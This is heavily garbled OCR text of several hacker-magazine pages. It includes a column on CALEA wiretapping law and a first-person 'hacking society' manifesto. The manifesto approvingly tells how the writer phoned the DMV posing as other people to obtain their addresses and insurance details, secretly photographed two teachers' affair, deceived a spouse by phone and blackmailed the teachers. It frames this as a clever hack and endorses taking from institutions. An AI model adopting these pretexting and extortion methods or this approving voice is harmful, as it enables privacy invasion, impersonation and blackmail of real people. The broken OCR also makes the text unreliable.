PayPal is still contacti n g  m e  about h ow I m ust 
add funds  or they wi ll seek lega l  action. I may be 
out $625  and  a la ptop .  I'm pissed off and  broke. 
After readi n g  this ,  and the other horro r  stories 
o n line ,  I hope people wi ll lea rn from my ( and  
other people's) mista kes. I f  you  choose  to  use  
PayPa l, watch you r  back  because they wi ll stab it 
in an i n stant. 

Shouts: Baby Girl, Roxas. 
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G reetings  from the Centra l Office! It' s sum­
mer, a lthough there a ren 't any wi ndows here so I 
have to rely on "service monitori ng "  of my sub­
scri bers' phone  calls to fi n d  out what it's li ke out­
side .  I understand  that the rai n h ere i n  the 
Pacifi c  No rthwest has  gotten a little warmer. And 
if I hear  one  more teenybopper gush ing  about 
American Idol, I 'm gonna  ba rf! 

Survei llance is a hot topic these days now 
that the NSA has  admitted to i llega lly spyi ng  on  
vi rtua lly everyone  i n  the u .S .  I t  seems that 
they're heavi ly scruti nizi n g  anyone who ma kes 
outgoi ng  domestic  ca lls after receivi ng  a cal l 
from Pa ki sta n .  I 'm sure they're fi ndi n g  out about 
a ll sorts of bi rths, death s, and weddi ngs i n  Pa k­
istan because these a re the sorts of thi ngs  that 
generate flurries of phone  ca lls . I bet they' re 
fi nd ing  out about al l  so rts of th ings that have 
nothi n g  to do with terrori sm .  Unfortunately, 
what they' re doi ng  with the i nformation  is a ll a 
secret and  I don 't have secu rity clearance to go  
into the specia l  room that  the NSA has set  up  
here. A l l  I know is  that  they've sp liced i nto every 
fi ber con necti on in the p lace and  they have thei r  
own secure trun k  o u t  o f  here t o  Fort Meade, s o  
you  can p robab ly draw your own conclusions .  

N otwithstand ing the whiz-bang new stuff 
that the NSA has  i n stalled ,  survei lla nce has  been 
bui lt i nto the telecomm unications  system for 
over a decade, and  was mandated by a law called 
CAL EA in 1994. I last wrote about the topic i n  
2002 and  survei lla nce has  o n ly gotten more per­
vasive since then . Wi retaps a re a n  i n creasi ng ly 
la rge part of the law enforcement a rsenal  i n  the 
War On  Drugs (there a re so many wars  I 'm begin ­
n ing  to  lose track ,  but  th i s  one  is  appa rently sti ll 
o n ) ,  a nd  drug investigations  account for the vast 
majority of them . Last year, 1433 wiretaps were 
authorized as part of drug investigations .  There 
were on ly 340 wi retaps conducted for everything  
e lse (clea rly pot smoki n g  h ippies a re more impor­
tant to stop than terrorism ) .  The number of wi re­
taps conducted i llega lly is un known , and  in fact, 
CALEA software is often desi gned such that it 
can not ever be determined .  

Prior  to  the mid 1990s  it used  to be p retty 
tough  for the police to conduct a wi retap ,  or even 
to i n sta ll a pen register (which records every 
digit you dial) . The po li ce had to go  to court a n d  

get a warrant (tough  for them t o  do  sin ce there i s  
a donut s h o p  between t h e  police station  a nd  the 
courthouse) . If  they managed to do  that, they'd 
have to drive down to my central  office (even 
tougher  si nce there are th ree donut shops be­
tween the po li ce station  and here) . After al l that, 
I 'd invite them to leave if the warrant wasn 't spe­
cific about who they wanted to wi retap ,  how they 
i ntended to do it, or for h ow long  the wi retap was 
to ta ke p lace. And I 'd a lways be ready with di rec­
tions  to the courthouse ( instead of my centra l of­
fice) if the po lice showed up without a warrant. 

Despite it a ll ,  I usually saw the loca l police a 
coup le of times a yea r. They were usua lly investi­
gati ng  organized crime  and they tracked down a 
mu rderer with a wi retap once .  They were a lso re­
al ly i nterested in a guy named Bernie S .  H owever, 
I a lmost never saw the feds.  There a re a n  awfu l 
lot of donut shops between the federal bui lding  
i n  downtown Seattle and  here. Wh i le they'd 
sometimes get withi n  one or  two of them, most 
federal agents would either  suffer congestive 
heart fai lu re or stain their ties with map le g laze 
before arrivi n g  at my doorstep.  Tha n k  goodness 
for those d ress codes because otherwise I wou ld 
probably never have gotten any rea l work done .  

These days I never see the po li ce at a ll and 
they conduct a lot more wi retaps than  they used 
to. They stay downtown i n  the po lice station a nd  
I never even k now  when  they're listen ing  to 
someone 's phone  ca lls .  The fai r ly i n conspicuous 
software runn ing  on  telecom m unications  
switches has gotten heavy use .  All to ld , 1630 
wi retaps were conducted i n  the U .S .  last year, not 
counti n g  u n reported i llega l  wi retaps ( a lthough  
I 'm sure that the police never brea k the law) and  
wi retaps t hat  began i n  2005  but  hadn 't ended i n  
2006 (to avoid tippi n g  off the targets, wi retaps 
a re reported after they're comp leted, n ot in iti­
ated) .  

Wi retaps have i ncreased i n  n umber a nd  fre­
quency every yea r si nce 1995 ,  the first year that 
CAL EA was imp lemented, and h ave roug hly dou­
b led i n  that time  frame.  This trend  seems to va li­
date the con cerns of civi l li berta ri ans  who  a rgued 
that the easie r  it i s  for law enforcement to con­
duct wi retaps,  the more freq uently they would 
seek to do so.  Sti ll, at a cost of rough ly $45 ,000 
per court-authorized wi retap ,  it's not an i n ex-
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pensive proposition ,  which expLa ins  why the 
federa L  government (with u n Limited ti me and 
a n  u nLimited budget) is the h eaviest user of 
wi retaps.  

In 2006,  vi rtua LLy no way of communicati n g  is 
safe from CAL EA.  Whether you' re usi ng  a mobi Le 
phone  (88 percent of wi retaps i n  2005 i nvoLved a 
mobi Le phone  or pager) , wi red phone ,  pager, 
teLeconference faci Lity, or even a VoIP device, 
CAL EA mandates that the govern ment have the 
a bi Lity to wi retap you r  ca lls remoteLy. The fo LLow­
i ng  types of communications  services a re subject 
to CALEA:  

• Any entity that hoLds itseLf out to serve the 
pubLi c  i ndiscrim inateLy i n  the provision of any 
teLecom m unications  service; 

• Entities p reviousLy identified as common  
ca rriers for pu rposes o f  the Communications  Act, 
i n cludi n g  LocaL exchange ca rrie rs ,  i nterexchange 
ca rri ers, competitive access providers, a nd  sateL­
Lite-based servi ce providers; 

• Cab Le operators, eLectri c, a nd  other  utiLiti es 
to the extent that they offer teLecommunications  
services for h i re to  the pubLi c; 

• Com mercia L  mobi le radio service (CM RS) 
p roviders; 

• Specia Lized Mobi Le Radio (SM R) providers 
(such as N exteL) when thei r  systems i ntercon nect 
to the pubLic switched teLephone  network; 

• ReseL Lers of teLecomm unications  services to 
the extent they own equipment with which ser­
vices a re provided; 

• Providers of caLLi ng  features such as caLL fo r­
wa rdi ng ,  caLL waiti ng ,  th ree-way caLLi n g ,  speed 
dia Li n g ,  and the caLL redi rection  portion  of voice 
mai L; a nd  

• Faci Lities used by  ca rriers t o  provide both 
teLecom m unications  and information  services a re 
subject to CALEA i n  order to ensure the abi Lity to 
conduct Lawfu LLy-authorized eLectronic survei l­
La nce of the teLecomm unications  services. 

The FCC's requi rement that Internet service 
providers imp Lement CALEA survei lla nce infra­
structure for the interception  of emai l  messages 
and si miLar  com m unications i s  a controversia L  
matter and  is cu rrently u nde r  court revi ew. The 
FCC's readi n g  of the CALEA Law, which exists 
nowhere in the p Lai n La nguage of the statute, is 
that Congress i ntended to cover services that 
were functiona LLy equiva Lent to Land- Li n e  teLe­
phones .  The U .S .  Ci rcuit Court for the Distri ct of 
CoLumbia ,  which heard the case on May 5, 2006,  
was open Ly skepti caL of this argument, a Lthough  
a fi n a L  ru Li n g  has not been  made as  of  th i s  writ-

i n g .  NonetheLess, nea rLy a LL teLecommunications  
ha rdwa re soLd today, whether ci rcuit or  packet 
switched,  has bui lt-i n CALEA survei lLa nce capabi l­
ities .  

The fo llowi ng  types of communications  ser­
vices a re (fo r the ti me  bei ng )  exempt from 
CALEA:  

• Private mobi Le radio service (PM RS) 
providers; 

• Pay teLephone  providers; and  
• Information  service providers ,  to  the extent 

they do  not provide teLecomm unications  services. 
The fi rst two of the above exemptions  a ren 't 

especia lly mean ingfu L because PM RS providers 
genera lly provide pub Li c  safety comm unications  
services . PresumabLy the FBI i sn 't i nterested i n  
wi retappi n g  itseLf. And payphone  providers don 't 
need to provide any specia L  CAL EA services be­
cause CAL EA is a Lready bui lt i nto the teLephone  
system .  H owever, information  service providers 
a re an interesti ng  exemption .  The Skype service, 
for exa mpLe, may LegaL Ly be considered exempt 
from CAL EA under this classifi cation  (aLthough  
bei ng  exempt doesn 't necessa ri ly mean that  they 
don 't a llow Law enforcement su rveiLLa nce) . 

The CALEA Law doesn 't mandate any particu La r  
method for Law enforcement t o  conduct survei l­
La nce or any particu La r  method for teLecomm uni­
cations  ca rriers to provide survei lla nce 
capabiLities. No  business processes a re mandated 
for provid ing access to Law enforcement either. 
This ma kes baLanci n g  comp Liance with privacy a 
difficuLt probLem for carriers, because whi Le there 
a re no penaLti es under  CAL EA fo r givi n g  too much  
access to Law enforcement, there a re pena Lties 
fo r givi n g  too Little . N otwithsta nd ing the mu rki­
ness, the FCC does exp Licitly requi re six types of 
i nformation  to be avai labLe to Law Enforcement 
Agencies (L EAs) : 

• Content of subject-initiated conference 
calls * - A L EA wi lL be ab Le to access the content of 
conference ca LLs i nitiated by the subject under  
su rvei lla nce (i n cludi n g  the ca L L  content of pa rties 
on ho Ld)  pu rsuant to a court order or  other Lega L  
authorization  beyond  a pen register order. 

• Party hold, join, drop on conference calls * -
Messages wi LL be sent to a L EA that identify the 
active pa rties of a ca L L .  Specifi ca LLy, on a confer­
ence caLL these messages wi LL i n dicate whether a 
pa rty is on ho Ld ,  has joined ,  or has been d ropped 
from the conference ca Ll. 

• Subject-initiated dialing and signaling in­
formation - Access to diaLi n g  and  signa Li ng  infor­
mation  avai Lab Le from the  subject wi lL i nfo rm a 
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L EA of a subject's use of features (e .g ., caLL for­
wardi n g, caLL waiti ng, caLL ho Ld, and  th ree-way 
calli n g ) .  

• In-band and  out-of-band signaling (notifi­
cation message) - A m essage wi ll be sent to a L EA 
whenever a subject's service sends a tone  o r  
other network message to  the subject or associ­
ate (e .g ., notifi cation  that a Li ne  is ri ngi n g  or  
busy, ca l l  waiti n g  signa L ) .  

• Timing information - Information  wi LL be 
sent to a LEA permitti n g  it to correLate ca LL-iden­
tifying  information  with the caLL content of a 
communications  interception .  

• Dia led digit extraction - The orig inati ng  car­
rier wi ll provide to a L EA on  the caLL data channe L  
any digits dia Led by  the subject after con necti ng  
to  a nother carrier 's service, pursuant to  a pen 
register a uthorizati on .  The FCC found  that some 
such digits fit within CAL EA's defi nition  of ca LL­
identifying  i nformation  a nd  that they a re gener­
a LLy reasonabLy avai La b Le to carriers. 

* Note that the term "conference calls" i s  i n ­
ten ded to  i nclude, but  not  be Limited to, th ree­
way ca LLs and  teLeconferences.  

The above "punch List" gave rise to a n umber 
of tech nicaL  standards (desi gned by the FBI with 
i n dustry i nput) . The most i mportant of these a re 
TIA J-STD-025B  (which detai ls the technica L  re­
qui rements), T1 M1 . 5  (which detai ls, among  other 
thi ngs, user interface standa rds for emergency 
teLecommunications  services), and  T1 .678 (which 
detai Ls user i nterface standards for VoIP survei L­
Lan ce) . These standa rds documents a re copy­
ri ghted and  a re n ot avai Lab Le for down Load 
without payment, but you may be ab Le to fi nd  
copies by  searchi ng  the Web .  Both standards a re 
referenced by teLecommuni cations  equipment 
man ufacturers i n  deveLopi ng  CALEA features for 
their products, a nd  a LL modern teLecomm unica­
ti ons  equipment i ncludes bui lt-i n CALEA mod­
u Les. In genera L, CALEA software must both 
sati sfy the FCC "punch  Li st" requirements and fo L­
Low i n dustry best practi ces: 

• Survei LLa nce m ust be undetectab Le by the 
intercept subject. 

• Intercept shou Ld n ot affect service to 
subscri bers. 

o No i nterruption  of ongoi ng  com mu­
nications .  

() Intercept n ot perceptib Le to ta rget o r  
outside parties. 

• KnowLedge of su rvei lLa n ce must be Limited 
to authorized personne L: 

o No  i ndication  of i ntercept to unau­
thorized parties .  

o L EAs m ust n ot be ab Le to detect 
other L EA intercepts .  

• Abi lity to corre Late diaLi n g  a nd  sig na Li n g  in­
formation with the content of  the comm unication .  

• Confidenti a Lity, i nteg rity, a nd  authenti ca­
tion  of the diaLi n g  and signa Li n g  i nformati on .  

CALEA comp Li ance is  comp Li cated for ca rriers .  
As the empLoyee of a teLecomm unications  ca rrier, 
you can be crim ina LLy Liab Le if you fai l to follow a LL 
of the correct p rocedures. Additiona LLy, teLecom­
munications ca rri ers a re req ui red to provide tech­
nica L assistance to Law enforcement i n  gain ing  
access to  survei lla nce i nfrastructu re. Th i s  has  
spawned a cottage i n dustry i n  comp Li ance out­
source fi rms .  Companies such as VeriSign, CBe­
yond, and Fiducianet offer turn-key CALEA 
so Lutions  to their customers - for a fee of course. 
Additiona LLy, companies such as SS8 offer i nte­
grated consoLe software for use by Law enforce­
ment agencies in conducti ng CALEA survei LLa nce .  
U nfortunateLy, the preva Lence of outsourci n g  
add s  yet a nother di mension  to  privacy concern s .  

Survei LLa nce i s  here to stay, a nd  CAL EA made 
it a L L  possi bLe. Meanwhi Le, privacy concerns  h ave 
gone  compLeteLy by the wayside and  wi lL probabLy 
conti n ue to do so.  Of course, si n ce my empLoyer 
doesn 't have a busi ness process to keep me away 
from this techno Logy, my eveni ngs here in the 
centra L office a re a Lot Less bori n g .  Incidenta LLy, 
the po Lice chief's wife wouLd sure be upset if she  
knew he  was  havi ng  an  affair  with his daug hter's 
co LLege roommate (she ca LLs him "bubby 
snoogums") . 
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This column is dedicated to Seattle Police Of­

ficer Steve Leonard, who didn't stop at a donut 
shop while rushing to save the lives of my friends 

on 3/25/06. His dedication and public service are 

an inspiration to us all. RIP Jeremy, Christopher, 

Jason, Justin, Melissa, and Suzanne. 

S u m  m e r  i! a a b ---------------------- P a g e  ], 5 



by Moebius Strip 
Hacki n g  is rea lly a fa r, fa r b roader disci pLi n e  

than the naysayers and  ideoLogy poLice wouLd 
have you beLieve. Hacki ng  doesn 't onLy appLy to 
computer systems, but to systems in general .  So­
ciety itseLf i s  n othi ng  more tha n  a system, and  
opportunities to  " hack" society a nd  its i nstitu­
tions  a re you rs for the ta ki n g .  For aLmost th ree 
decades I have been hacki n g  the system fo r per­
sonaL gai n a nd  advancement. I do so shameLessLy 
a nd  without a poLogy, because it is my beLief that 
a nyone  who achieves even a modicum of success 
a nd  comfort in American society ca n a rguabLy 
onLy do so by hacki n g  the system .  WeaLthy busi­
ness magnates with clever accounta nts and  off­
shore tax s heLters? Hacki ng  the system .  Law 
enforcement officiaLs who accept gifts i n  ex­
change for getti ng  J unior  RepubLica n reLeased i n ­
stead of charged with OUI? Hacki n g  the system .  
Surgeons w h o  avoid responsibiLity for operative 
mista kes by confin ing  their accountabiLity for 
their a ctions, admitti ng  to their errors and  over­
sig hts onLy to thei r  peers in MortaLity and  Mor­
bidity meeti ngs - meeti ngs that a re statutoriLy 
out of the reach of the tort system?  Hacki n g  the 
system .  I couLd go  on and  on, but no  poi nt beat­
i n g  a dead ho rse .  

I have been a maLcontent and a noncon­
formist for as  Long  as I can remember. I g rew up 
strictly worki n g  class - my mother was a waitress 
a nd  he r  second  h usba nd  a truck d river ( h er fi rst 
h usband, my father, was a musi ci an  a nd  fu rnitu re 
ma ker - defi niteLy one  of those who danced to his 
own tune  and who never paid a dim e  i n  chiLd sup­
port - which fu rther  exacerbated our  reLative 
poverty) . It rea lly gaLLs me to hear  peopLe who go 
on  and on  about what a character-bui ldi ng  expe­
rience it i s  to do  without - sayi ng  thi ngs  Li ke "We 
may h ave been poor but we aLways had a roof 
over our heads a nd  food in our beLLi es . "  WeLL, 
yea h, but so does the guy who sLeeps i n  the base­
ment of my buiLdi n g, and he  damn  sure doesn 't 
bust his h u m p  for ei ght to ten hou rs a day for 
peopLe who don't give a damn  if he Lives or dies. 

In many ways, my homeLess nei g hbor  has  a LeveL 
of personaL freedom that you or I may never at­
tain, for he is Livi n g  Life enti reLy on his own 
terms.  I submit that there a re reaLLy onLy two 
classes of peopLe who can Live Life on their own 
terms:  those who a re i ndependentLy weaLthy a nd  
those who a re destitute . Everyone  i n  the middLe 
is fucked . 

It is a fact that i n  American society, ou r  op­
portunities and  options  a re Li mited by our  class 
and sociaL stand ing, a n d  the very i nstitutions  
that  we  aspire to  work  very ha rd to  Limit ou r  a c­
cess to them.  It did n 't take me very Long to reaL­
ize that access to the fi ner  th ings in Life wouLd be 
quite a bit h a rder  for me to attai n than it wouLd 
be for those born i nto weaLth and priviLege. H ow­
ever, it also didn 't ta ke me Long  to reaLize that if I 
enjoyed bei ng  free from confinement, I 'd have to 
fi nd  a better way to acquire those thi ngs  than 
outright ta ki n g  them .  Rather than pLa nn ing  a b ig  
grab i n  one  feLL swoop, I have i n stead decided to 
create the appearance of conformity in my Life 
and  to "suppLement" my existence on a more-or­
Less conti nuous basis by acquiri ng  possessions, 
advantages, and  p riviLeges that wouLd otherwise 
be outside my grasp as I go  aLong .  So, this a rti cle 
wi ll be pa rt confessionaL (aLthough  I seek n o  
one's sanction - I fi nd  that Livi n g  skewed is its 
own rewa rd ) and  pa rt manifesto . I can 't guaran ­
tee that the resou rces a nd  practi ces I've adopted 
wiLL be successfuL for anyone other than me, so i n  
this as i n  aLL thi ngs, proceed a t  your own risk .  

Su reLy by now there a re some of you who a re 
readi ng  this and  sayi ng  "Wow - this guy sounds 
Li ke a reaL sociopath - n o  moraLs at al l  here ! "  This 
is not the case. As I am p rima ri ly concerned with 
hacki n g  society as a system, I strive never to in i­
tiate any actions  that wouLd ca use undue  Loss o r  
ha rdsh ip  for a n  i ndivid ual .  I f  I 'm waLki ng  down 
the street and I see a guy d rop  his waLLet, I am fa r 
more Li keLy to run up a nd  return it to h im than I 
am  to clea n out the cash  and  retu rn the waLLet to 
the gutter. If I 'm waLki ng  down the street and  I 
see a bag of cash that was d ropped from a n  a r-

a g e  J. b ---------------------2 b a a 11 a 9 a z i n e 



mored vehicle, there is n o  way i n  hell I would 
even thi n k  twice before appropriati n g  that loot 
for my own . I've lost my wallet - I know what 
that's li ke. The headaches involved with doi ng  
th ings like canceli ng  credit ca rds, getti ng  a new 
d river license, etc., almost make whatever money 
you lost i n  the wallet a n  afterthoug ht. KarmicaLly 
spea ki n g, putti ng  someone through that particu­
lar  ki n d  of hell i s  uncon scionable .  However, if a 
bank  loses a sack of cash, odds a re 1 )  it's i n su red; 
a n d  2) they have plenty of additional sacks of 
cash in their vault (many of which they filled by 
chargi n g  Average Joe Depositor usurious  inter­
est, $30 bounced-check fees, a nd  the like) . I 'm 
not shedding a tear for the First National Bank of 
Screwi ng  the Little G uy - I j ust don 't feel 
thei r  pai n .  So, for me at least, it's more about 
ta ki n g  from the bi gger players i n  the game of life 
- companies, Govern ment, etc., a nd  n ot from 
i ndivi duals. 

Clea rly I can 't make it th rough  30 odd yea rs of 
hacki n g  in one a rticle, so I will logi cally start at 
the begi n ni ng .  The first system I ever hacked was 
in middle school, and it sta rted in sixth grade. I 
was n ot athletically talented and, as a nyone  who 
was a geek i n  school can attest, physical educa­
tion  class i s  a n ightmare for misfits . Gym teach­
ers favored athletes a nd  often turned a bli n d  eye 
to their sadism, abuse, and  mistreatment of 
geeks, a nd  I was subjected to a great deal of 
p hysical and  mental cruelty by my fellow stu­
dents while my gym teacher fei gned i gnorance 
a nd  just " never noticed" a nyone picki n g  on me .  
Quickly realizin g  that  goi ng  up  the cha in  of com­
mand  to the authoritari ans  in the school office 
was a fruitless effort, I i n stead focused on the 
real source of my agony: someone (the gym 
teacher) who was facilitati ng  my mistreatment. 

I was fortunate - I was the youngest of th ree 
children and  there was a ni ne  year gap between 
my sister and me. So by the time  I reached mid­
dle school, I was the only child still at home, and  
with the g roundwork lai n by  the two who went 
before me, I was on  a pretty long leash - my time  
between the end  o f  the school day and  around 
11 :30 pm when my mother returned home from 
work was all my own . So, when I decided to em­
bark on  a little bit of su rveilla n ce of my gym 
teacher, I had plenty of ti me  in which to do it. 

The fi rst thi n g  I did was determi ne  his home  
address - wh i ch  was  easy to  do once I got  his li­
cense plate number after seei n g  which vehicle he 
d rove out of the parki n g  lot. Two phone  calls to 
DMV pretendi ng  to be his wife and  I got a read­
back of the vehicle 's registered address, home  
phone  number, and  the name  a nd  policy number 
of the owner's i n su ra n ce company - a handful of 
useful i nformation  for very little effort on my 

pa rt. Operation  underway, I decided to begi n sur­
veillance i n  earnest the next morni ng .  

I was  up  a nd  out  the doo r  by  5 : 30  am, bi cy­
cli ng  over to the gym teacher's n ei g hborhood 
and  stash ing my bike i n  the bushes .  As luck 
would have it, the left side of his property was 
bordered by woods and  I was able to h ide there 
with a clear vi ew of his front door. I did n 't have to 
wait long for another very useful piece of infor­
mation  to turn up. S hortly after 6 am, the front 
door opened and out stepped a famili a r  face - n ot 
the gym teacher, but the science teacher. The 
married science teacher. Now perhaps there i s  
some reasonable explanation  for a married 
woman  leavi ng  the home of a man not her  h us­
band at six in the morni ng, but I somehow d idn 't 
thi n k  there was a nyth ing  reasonable  about what 
I 'd just seen . M rs .  Science Teacher  d rove off i n  
her  little black coupe (license plate n umber 
noted fo r future use), and a short while later, M r. 
Gym Teacher also left for work. I retu rned to my 
bicycle a nd  headed off to school as well . 

Figu ri ng  people to be creatures of habit and  
realizi ng  t hat  a ma rried teacher mig ht n ot have 
all that many opportunities to spend a nig ht with 
her lover, I decided to return later o n  that 
eveni ng  to see if she was overni g hti n g  agai n .  
Sure enough, as I d rove past a t  10 :30  p m ,  there 
was Mrs.  Science Teacher's black ca r pa rked i n  
front o f  Gym Teacher's house .  Excellent! I h eaded 
home to sleep and returned to my perch i n  the 
woods the next morni ng, camera i n  h and, fi rst 
photograph ing  the black ca r in front of the  gym 
teacher's house ( and  a lovely shot of the  license 
plate too), and then catchi n g  M rs .  Science 
Teacher he rself exiti ng  via the front door. I 
waited long enough  to get a shot of Gym Teacher 
h imself leavi ng  the house before bi ki ng  to 
school. 

Later that afternoon, I d ropped my film  off at 
Fotomat a nd  had to wait for two days to pick up 
my pictures (this was at a time  before we had one  
hour  p h oto service) . But  when I did, I was  ecsta­
ti c - the photos were perfect a nd  clea r. And it was 
perfectly clea r who the people i nvolved were. An 
added bit of good fortune  was that my Mom's  
camera was fai rly new and  actually sta mped the 
corner of each picture with the date and time, 
maki ng  it clear that it was a little too early i n  the 
morni n g  for M r. Gym Teacher and Mrs .  Science 
Teacher to be discussi ng  exercise p hysiology (i n 
anything but the strictest Bi bli cal sense) . I 
q uickly ordered two dupli cate sets of the photos 
and  returned home to concretize the rest of my 
pla n .  

Another call t o  D M V  (this tim e  pretending to 
be M rs .  Science Teacher - God bless the ma rvel 
that is the voi ce of the twelve yea r old male) net-
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ted me M rs .  Science Teacher's  home  address and  
other persona L  data . I teLephoned M rs .  Science 
Teacher's home  and  when she  a nswered the 
phone I p retended to be the newspaper deLivery 
boy i n qui ri n g  about a good day to come  by and  
coLLect the subscription  fees each  week. 

"I 'm sorry, " she said "You must have the wrong  
n umber. We  don 't subscribe to  the paper ! "  

" H m m  . . .  it's a new subscri pti o n  that sta rts 
this week .  Is it possib Le that your h usba nd  sub­
scribed to the paper and forgot to teL L  you?" I 
countered . 

"Abso LuteLy ! "  she  rep Lied .  " H e  never tells me 
a nythi n g !  I f  you  come by Saturday afternoon at  
around 3 pm you ' ll catch hi m . "  she  rep Lied .  

"Tha n ks, ma 'am,  and  have a g reat day ! "  I fi n­
ished a nd  hung u p  the phone .  

Now I had  aL L  the information I needed to use 
a LittLe Leverage on Gym Teacher  to make my Life 
q uite a bit easier. Friday night passed quickLy a nd  
I had  just one  Last thi ng  to  do  to  prepare my 
counterattack on Gym Teacher. 

Satu rday afternoon at 3 pm I teLephoned M rs .  
Science Teacher's home ,  and  th is  time ,  M r. Sci­
ence Teacher  a nswered the ph one .  

" H i  - th i s  i s  E rn ie  from the Sentinel-Courier. I 
caLLed a coup Le of days ago a nd  spoke with you r  
wife about the paper?" 

"Are we getti ng  the paper now?" he asked 
"WeLL, the form I have he re says that you 

called us Last week on Tuesday to sta rt de Livery. I 
called a nd  asked your wife what day wouLd be 
good for me  to come and collect for the  paper 
and she did n 't know a nyth ing  about it. She said 
to ta Lk to you . "  I rep Lied .  

"I did n 't caL L  you Last week - I was away on 
busi ness from Sunday n ight unti L  Friday n ig ht. 
You must have the wrong  house . "  he a nswered .  

I apo Logized, sayi ng  that it m ust be a mis­
take, than ked him for his ti me,  and h ung  up  the 
phone ,  e Lated .  H e  sounded Li ke a nice guy and  
even mo re so for teLLi n g  me  what I needed to 
know - that he and  the M rs .  were still cohabiti n g  
- which meant that her  Little overnig hters a t  Gym 
Teacher's house were in aLL Li keLi h ood expressLy 
forbidden .  

Monday after schooL, I picked up  my dup Li cate 
pictu res at Fotomat and  quickLy stashed my origi­
na Ls and my negatives i n  a h oLe i n  the  ground be­
hind my house that I had come  to use as a 
safekeepi n g  p Lace for items of va Lue (a habit I 
conti nue  even to this day - it's a Lways a good idea 
to have a few doLLa rs, a prepaid ceLL phone, a 
change  of clothes ,  and  other items of importance 
secreted away where you can get to them i n  a 
h u rry if you need to) .  The fo llowi ng  morn ing ,  
a rmed with my pictu res , I went to school .  My fi rst 
stop was to see M rs .  Science Teacher. I found  her  

i n  he r  classroom ,  sitti n g  beh ind the desk Looki n g  
a t  s ome  papers whi Le the kids i n  h e r  homeroom 
s h uffled i n  and found  their seats .  

"I have somethi n g  I thi n k  you ' LL fi nd very in­
teresti n g  from a scientifi c  perspective ! "  I said 
q uietLy. 

" Rea LLy? I'd Love to see it! " she  repLied .  
WordLessLy, I ha nded her  a n  enveLope con­

tai ni n g  the pictu res. It took a moment for what 
she  was seei ng  to register and  I enjoyed watch­
ing the coLor  d rai n from her  face when it d id .  

"Scientifi cal ly spea ki n g ,  what i s  the  chance 
that you a nd  Gym Teacher  wouLd keep your jobs if 
I mai led copies of these pictures to everyone  on 
the  Board of Education? "  I Lea ned i n ,  quietly ask­
i n g  her. "What do you thi n k  you r  h usband wou Ld 
do if he knew where you spent you r  nig hts Last 
week?" 

"I . . .  er  . . .  I ca n 't . . .  You . . .  you . . .  why . . .  " s he  
stam mered , sea rchi n g  for words and  fLush i ng  
with emba rrassment a nd  fea r. 

"That's what I thoug ht."  I sai d .  " Be  sure to teLL 
Gym Teacher that I showed these to you and that 
if th ings don 't go my way, you ' LL both be rea LLy, 
rea LLy sorry. " 

I Left her  room as s h e  shook ,  on the verge of 
tears. I couLd sca rceLy keep from g ri n ni n g  as I 
went to my homeroo m .  

Gym was 4th period that day for m e ,  right  be­
fore Lu nch .  We were goi ng  outsi de for soccer a nd  
the gym teacher sp Lit the class up  a Lphabetically 
a nd  sent them run ni n g  to the soccer fieLd, aski n g  
me  to  stay behi nd .  

"You Little fucker ! " h e  hissed . "What a re you 
goi ng  to do with those pictures?" 

"You mean these pictu res?" I pulled a n  enve­
Lope out from under  my gym shi rt, hand ing  it to 
hi m .  

H e  tore i t  open ,  a nd  he  too flushed bri g ht red 
when he saw the pictures, his anger p Lai n Ly visi­
b Le .  

"Don 't worry," I sa id  "I have the orig ina Ls and 
the negatives. Those a re you r  own copies . "  

"What do  you want? "  h e  sna rLed . 
"I want to come to Phys Ed about as much as  

you want me  here. ALL you have to do is cooper­
ate, and  you r  Little secret is safe with me .  But if 
you don 't, it'LL be you r  ass, and hers, and not in 
the way you ' re used to ! "  I La ughed ,  aggravati n g  
h im fu rther. " I  am not coming  t o  gym class ever 
agai n .  You a re to mark  me present and give me a n  
A .  I ' L L  spend my  time  i n  t h e  Lib ra ry, nobody gets 
h u rt. I ' L L  teLL my friends  I have a medica L excuse .  
Got it? " 

"That's it? " he asked "When do I get the o rigi­
na Ls and the negatives?" 

"When I graduate from 8th grade and Leave 
the school, "  I rep Lied .  
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He  nodded his word less submission  to my de­
mands  and  I went back to the locker room to get 
out of my gym uniform .  

As  it turned out, my man ipu lation  of  ci rcum­
stan ce kept me free from gym class o n ly unti l  the 
end  of 7th grade. After that summer I retu rned to 
school  to fi nd  that a new gym teacher  had been 
h i red and the o ld one had left the distri ct. This 
one, however, was fema le, and did a much better 

job of keepi n g  the m uscleheads from maki ng  us 

geeks miserab le .  I considered usi n g  a little lever­
age to lea n  on the science teacher, j ust for fun ,  

but s h e  was a decent lady (adu ltery notwith­

stand ing)  a nd  I actua lly li ked science class, so I 

decided to she lve that particula r  exp loit, satis­
fied that I had  ridden that trai n fo r a lmost two 
yea rs. A good hack ,  that was. 

s t o  

Password Sent 

Your password lar Ac 
Battery 

Battery@chicago2600.net 
When ta lki n g  about data security, there has  

a lways been a mantra : if someone has physica l 
access to you r  computer, it's their computer, not 
yours. This a lways seemed to make sense when 
talki n g  about la rge pieces of hardware ( laptops, 
PCs, servers, etc. ) .  You wou ld su rely know if an 
attacker had physical  access to your computer. 
Ha rd d rives would probab ly be missi ng  or the 
computer would simp ly be gone .  But h ow would 
you know if someone had physical access to 
somethi ng  e lse of you rs? For examp le, what if 
someone accessed you r  cell phone? 

Last month my sister found  a T-Mobi le B lack­
berry outside a bar. Unab le to fi nd  the B lack­
berry's owner i n side the bar, she  gave it to me,  
hopi ng  I wou ld be ab le to track h im down and  re­
turn the device. Fi rst, I ca lled T-Mobi le, who 
than ked me  for tryi ng  to return the phone .  But  
the customer service representative i nformed me 
that  he  cou ldn 't release any of the owner's i n for­
mation .  This was completely understandab le to 
me .  After a ll, I might just be socia l  engineeri ng  
h im ,  so I didn 't have a p rob lem with h im not 
te lli ng  me the owner. I asked if he wou ld contact 
the owner and  give them my phone  number and  
name  and  tell t hem I found  their B lackberry and  
was  tryi n g  to  return i t  to  hi m .  He  said he  was  not 
ab le to do that a nd  that no one  answered the 
home phone n umber on  the account. H e  then ad­
vised me to drop off the B lackberry at a T-Mobi le 
store, where the staff wou ld locate the owner 

return the ne .  I two problems with 
this .  Fi rst, there were n o  T-Mobi le stores within 
2 5  mi les of me,  so I would have to go  q uite out of 
my way. Second ,  from past deali n gs with cell 
phone  stores and kiosks,  I wou ld n 't trust most 
people worki ng  in those stores to get the phone  
back  to  the rightfu l owner. I offered to  mai l  it to 
T-Mobi le Customer  Care, but this was a lso shot 
down by the representative. I myself am a T-Mo­
bi le customer  and  the hand li n g  of this situation  
a n noyed me  q uite a bit; the representative didn 't 
seem to want to do anythi ng  to aid me to return­
ing the phone .  Fi na lly, I just asked that he  put a 
note on my account and  the B lackberry's owner's 
